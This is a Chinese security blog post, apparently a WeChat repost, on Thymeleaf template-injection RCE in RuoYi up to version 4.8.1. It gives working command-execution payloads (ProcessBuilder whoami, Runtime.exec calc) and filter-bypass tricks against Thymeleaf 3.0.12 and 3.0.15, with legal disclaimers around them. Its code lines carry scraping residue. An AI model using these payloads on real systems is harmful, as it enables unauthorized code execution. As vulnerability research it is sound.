本文探讨了Thymeleaf模板注入漏洞的演变及绕过方法,强调了安全研究中的法律合规性。
免责声明
本文所涉及的技术、思路和工具仅供安全研究和教学使用。
-
严禁用于非法用途:请勿利用本文中的技术对未授权的目标进行扫描、攻击或测试。 -
法律责任:利用本文所提供的信息而造成的任何直接或间接后果和损失,均由使用者本人负责,本文作者不承担任何法律责任。 -
合规建议:请遵守《中华人民共和国网络安全法》、《中华人民共和国数据安全法》等相关法律法规。
回顾
在以往版本的ruoyi中, 曾爆出过ssti漏洞, 漏洞点如下
::是thymeleaf的片段选择器语法, 用来确定渲染模板中的哪一段内容 这里返回模板的片段选择器直接拼接了用户可控的fragment, 导致模板注入 但随着thymeleaf的更新, 该漏洞也就被修复了
Thymeleaf3.0.11版本及之前
我们可以使用类似以下payload来利用.
ounter(lineounter(lineounter(lineounter(lineounter(line__${new java.util.Scanner(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk").useDelimiter("\A").next())}__::.x
在进行模板渲染时, __ __ 包裹的内容是被预先执行的
Thymeleaf3.0.12版本
这个版本增加了安全策略, 增加了 SpringRequestUtils 和 SpringStandardExpressionUtils 两个类。 diff https://github.com/thymeleaf/thymeleaf/compare/thymeleaf-spring5-3.0.11.RELEASE...thymeleaf-spring5-3.0.12.RELEASE?diff=unified&w=
简单来说, 主要问题就是不允许 newT()出现, 但我们依然可以使用类似以下payload绕过
ounter(line{T (java.lang.Runtime).getRuntime().exec("calc")}__::
ounter(lineounter(lineounter(lineounter(lineounter(line__${nEw java.util.Scanner(New ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk").useDelimiter("\A").next())}__::.x
新版本4.8.1 RCE(Thymeleaf3.0.15 绕过)
最新版本的ruoyi使用了Thymeleaf3.0.15
尝试之前的payload
ounter(line{T (java.lang.Runtime).getRuntime().exec("calc")}__::

对比3.0.12 和3.0.15 https://github.com/thymeleaf/thymeleaf/compare/thymeleaf-spring5-3.0.12.RELEASE...thymeleaf-spring5-3.0.15.RELEASE?diff=unified&w= 这个版本新增了containsExpression
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineprivate static boolean containsExpression(final String text) {final int textLen = text.length();char c;boolean expInit = false;for (int i = 0; i < textLen; i++) {c = text.charAt(i);if (!expInit) {if (c == '$' || c == '*' || c == '#' || c == '@' || c == '~') {expInit = true;}} else {if (c == '{') {return true;} else if (!Character.isWhitespace(c)) {expInit = false;}}}return false;}
其对requestURI , paramValue做了检测, 检测到表达式后抛出错误 但实际上这个检测并不严谨, 当检测到expInit字符时, 判断逻辑是后面紧跟的字符是不是 {: 如果是{则认为检测到了表达式, 如果不是{, 当其为空格时继续检测下一个字符是不是{, 不为空格则认为没有检测到表达式 问题在于第一个expInit字符后面的字符被拿去判断是否为{, 对其是否为expInit字符的检测就被跳过了 那我们其实可用构造出这样的payload逃过检测
ounter(lineounter(line任意字符{}${}
显然$${}是可能被利用的, 但Thymeleaf并不允许执行这样的表达式
字面量替换 bypass
阅读其文档
|n4c1, ${...}|, 其中的表达式${...}可以被执行
因此可以构造:
ounter(line__|$${
这样的payload实际上等价于
ounter(line__'$' + ${
调试一下
但当我们尝试rce时其实是失败的, 这个版本把SpringStandardExpressionUtils中把之前的containsSpELInstantiationOrStatic换成了containsSpELInstantiationOrStaticOrParam, 并且对检查逻辑进行了加强, 不允许 T()new xxxT ()param这样的表达式内容出现, 但我们依然可以利用类似于沙箱逃逸的方法来绕过 成功RCE
安全警示与法律合规
技术本身是中立的,但使用技术的人必须有底线。
-
切勿越界:本文介绍的漏洞复现和利用方法,仅限在自己搭建的本地靶场或经过授权的环境中进行测试。严禁对互联网上的真实目标进行扫描或攻击。 -
法律红线:根据《中华人民共和国刑法》第285条、第286条,非法侵入计算机信息系统、破坏计算机信息系统功能等行为均构成犯罪,将面临严厉的刑事处罚。 -
共同维护:网络安全是国家安全的一部分。作为安全从业者或爱好者,应致力于发现问题并协助修复,共同维护网络空间的和平与安全。 -
请时刻牢记:网络不是法外之地,行车不规范,亲人两行泪。
原文始发于微信公众号(T3Ysec):某依最新版本稳定4.8.1 RCE (Thymeleaf模板注入绕过)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-






评论